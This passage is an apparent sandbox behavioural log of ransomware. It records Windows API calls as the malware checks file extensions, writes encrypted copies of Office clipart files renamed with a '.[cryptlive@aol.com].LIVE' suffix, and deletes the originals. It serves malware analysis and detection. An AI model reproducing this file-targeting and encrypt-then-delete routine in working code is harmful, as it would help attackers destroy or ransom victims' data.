Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0152.935] lstrlenW (lpString=".1cd") returned 4 [0152.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0152.935] lstrlenW (lpString=".jpg") returned 4 [0152.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0152.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0152.935] lstrlenW (lpString=".doc") returned 4 [0152.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString=".docx") returned 5 [0152.935] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.935] lstrlenW (lpString=".pdf") returned 4 [0152.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString=".xls") returned 4 [0152.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.935] lstrlenW (lpString=".xlsx") returned 5 [0152.935] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.935] lstrlenW (lpString=".ppt") returned 4 [0152.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0152.936] lstrlenW (lpString=".zip") returned 4 [0152.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.936] lstrlenW (lpString=".rar") returned 4 [0152.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.936] lstrlenW (lpString=".bz2") returned 4 [0152.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.936] lstrlenW (lpString=".7z") returned 3 [0152.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0152.936] lstrlenW (lpString=".dbf") returned 4 [0152.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0152.936] lstrlenW (lpString=".1cd") returned 4 [0152.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0152.936] lstrlenW (lpString=".jpg") returned 4 [0152.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.936] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.936] lstrlenW (lpString="J0105396.WMF") returned 12 [0152.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0152.937] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=11012) returned 1 [0152.937] CloseHandle (hObject=0x1e0) returned 1 [0152.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 0x20 [0152.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0152.938] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.938] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.940] GetLastError () returned 0x0 [0152.940] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2b04, lpOverlapped=0x0) returned 1 [0152.946] WriteFile (in: hFile=0x38c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2b10, lpOverlapped=0x0) returned 1 [0152.947] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.947] WriteFile (in: hFile=0x38c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.947] SetEndOfFile (hFile=0x38c) returned 1 [0152.947] CloseHandle (hObject=0x38c) returned 1 [0152.948] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.948] SetEndOfFile (hFile=0x1e0) returned 1 [0152.951] CloseHandle (hObject=0x1e0) returned 1 [0152.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0152.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0152.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0152.954] lstrlenW (lpString=".doc") returned 4 [0152.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.954] lstrlenW (lpString=".docx") returned 5 [0152.954] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.954] lstrlenW (lpString=".pdf") returned 4 [0152.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.954] lstrlenW (lpString=".xls") returned 4 [0152.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.954] lstrlenW (lpString=".xlsx") returned 5 [0152.954] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.955] lstrlenW (lpString=".ppt") returned 4 [0152.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0152.955] lstrlenW (lpString=".zip") returned 4 [0152.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.955] lstrlenW (lpString=".rar") returned 4 [0152.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString=".bz2") returned 4 [0152.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString=".7z") returned 3 [0152.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0152.955] lstrlenW (lpString=".dbf") returned 4 [0152.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0152.955] lstrlenW (lpString=".1cd") returned 4 [0152.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0152.955] lstrlenW (lpString=".jpg") returned 4 [0152.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0152.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0152.955] lstrlenW (lpString=".doc") returned 4 [0152.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.955] lstrlenW (lpString=".docx") returned 5 [0152.956] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.956] lstrlenW (lpString=".pdf") returned 4 [0152.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.956] lstrlenW (lpString=".xls") returned 4 [0152.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.956] lstrlenW (lpString=".xlsx") returned 5 [0152.956] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.956] lstrlenW (lpString=".ppt") returned 4 [0152.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0152.956] lstrlenW (lpString=".zip") returned 4 [0152.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.956] lstrlenW (lpString=".rar") returned 4 [0152.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.956] lstrlenW (lpString=".bz2") returned 4 [0152.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.956] lstrlenW (lpString=".7z") returned 3 [0152.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0152.956] lstrlenW (lpString=".dbf") returned 4 [0152.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0152.956] lstrlenW (lpString=".1cd") returned 4 [0152.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0152.956] lstrlenW (lpString=".jpg") returned 4 [0152.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.957] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.957] lstrlenW (lpString="J0105398.WMF") returned 12 [0152.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0152.959] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3328) returned 1 [0152.959] CloseHandle (hObject=0x1e0) returned 1 [0152.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 0x20 [0152.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0152.960] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.960] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.961] GetLastError () returned 0x0 [0152.961] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xd00, lpOverlapped=0x0) returned 1 [0153.325] WriteFile (in: hFile=0x38c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xd10, lpOverlapped=0x0) returned 1 [0153.326] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.326] WriteFile (in: hFile=0x38c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.327] SetEndOfFile (hFile=0x38c) returned 1 [0153.327] CloseHandle (hObject=0x38c) returned 1 [0153.327] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.327] SetEndOfFile (hFile=0x1e0) returned 1 [0153.329] CloseHandle (hObject=0x1e0) returned 1 [0153.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0153.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0153.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0153.436] lstrlenW (lpString=".doc") returned 4 [0153.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.436] lstrlenW (lpString=".docx") returned 5 [0153.436] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.436] lstrlenW (lpString=".pdf") returned 4 [0153.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.436] lstrlenW (lpString=".xls") returned 4 [0153.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.436] lstrlenW (lpString=".xlsx") returned 5 [0153.436] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.436] lstrlenW (lpString=".ppt") returned 4 [0153.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0153.437] lstrlenW (lpString=".zip") returned 4 [0153.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.437] lstrlenW (lpString=".rar") returned 4 [0153.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.437] lstrlenW (lpString=".bz2") returned 4 [0153.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.437] lstrlenW (lpString=".7z") returned 3 [0153.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0153.437] lstrlenW (lpString=".dbf") returned 4 [0153.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0153.437] lstrlenW (lpString=".1cd") returned 4 [0153.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0153.437] lstrlenW (lpString=".jpg") returned 4 [0153.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0153.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0153.437] lstrlenW (lpString=".doc") returned 4 [0153.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.437] lstrlenW (lpString=".docx") returned 5 [0153.437] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.437] lstrlenW (lpString=".pdf") returned 4 [0153.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.438] lstrlenW (lpString=".xls") returned 4 [0153.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.438] lstrlenW (lpString=".xlsx") returned 5 [0153.438] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.438] lstrlenW (lpString=".ppt") returned 4 [0153.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0153.438] lstrlenW (lpString=".zip") returned 4 [0153.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.438] lstrlenW (lpString=".rar") returned 4 [0153.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.438] lstrlenW (lpString=".bz2") returned 4 [0153.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.438] lstrlenW (lpString=".7z") returned 3 [0153.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0153.438] lstrlenW (lpString=".dbf") returned 4 [0153.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0153.438] lstrlenW (lpString=".1cd") returned 4 [0153.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0153.438] lstrlenW (lpString=".jpg") returned 4 [0153.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.438] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.439] lstrlenW (lpString="J0105530.WMF") returned 12 [0153.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0153.439] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7384) returned 1 [0153.440] CloseHandle (hObject=0x350) returned 1 [0153.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 0x20 [0153.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0153.440] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.440] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0153.441] GetLastError () returned 0x0 [0153.441] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0153.489] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1ce0, lpOverlapped=0x0) returned 1 [0153.490] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.490] WriteFile (in: hFile=0x384, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.490] SetEndOfFile (hFile=0x384) returned 1 [0153.490] CloseHandle (hObject=0x384) returned 1 [0153.490] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.490] SetEndOfFile (hFile=0x350) returned 1 [0153.493] CloseHandle (hObject=0x350) returned 1 [0153.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0153.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0153.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0153.511] lstrlenW (lpString=".doc") returned 4 [0153.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.511] lstrlenW (lpString=".docx") returned 5 [0153.511] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.511] lstrlenW (lpString=".pdf") returned 4 [0153.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.511] lstrlenW (lpString=".xls") returned 4 [0153.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.511] lstrlenW (lpString=".xlsx") returned 5 [0153.511] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.511] lstrlenW (lpString=".ppt") returned 4 [0153.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0153.511] lstrlenW (lpString=".zip") returned 4 [0153.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.511] lstrlenW (lpString=".rar") returned 4 [0153.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.511] lstrlenW (lpString=".bz2") returned 4 [0153.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.511] lstrlenW (lpString=".7z") returned 3 [0153.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0153.511] lstrlenW (lpString=".dbf") returned 4 [0153.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0153.511] lstrlenW (lpString=".1cd") returned 4 [0153.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0153.512] lstrlenW (lpString=".jpg") returned 4 [0153.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0153.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0153.512] lstrlenW (lpString=".doc") returned 4 [0153.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.512] lstrlenW 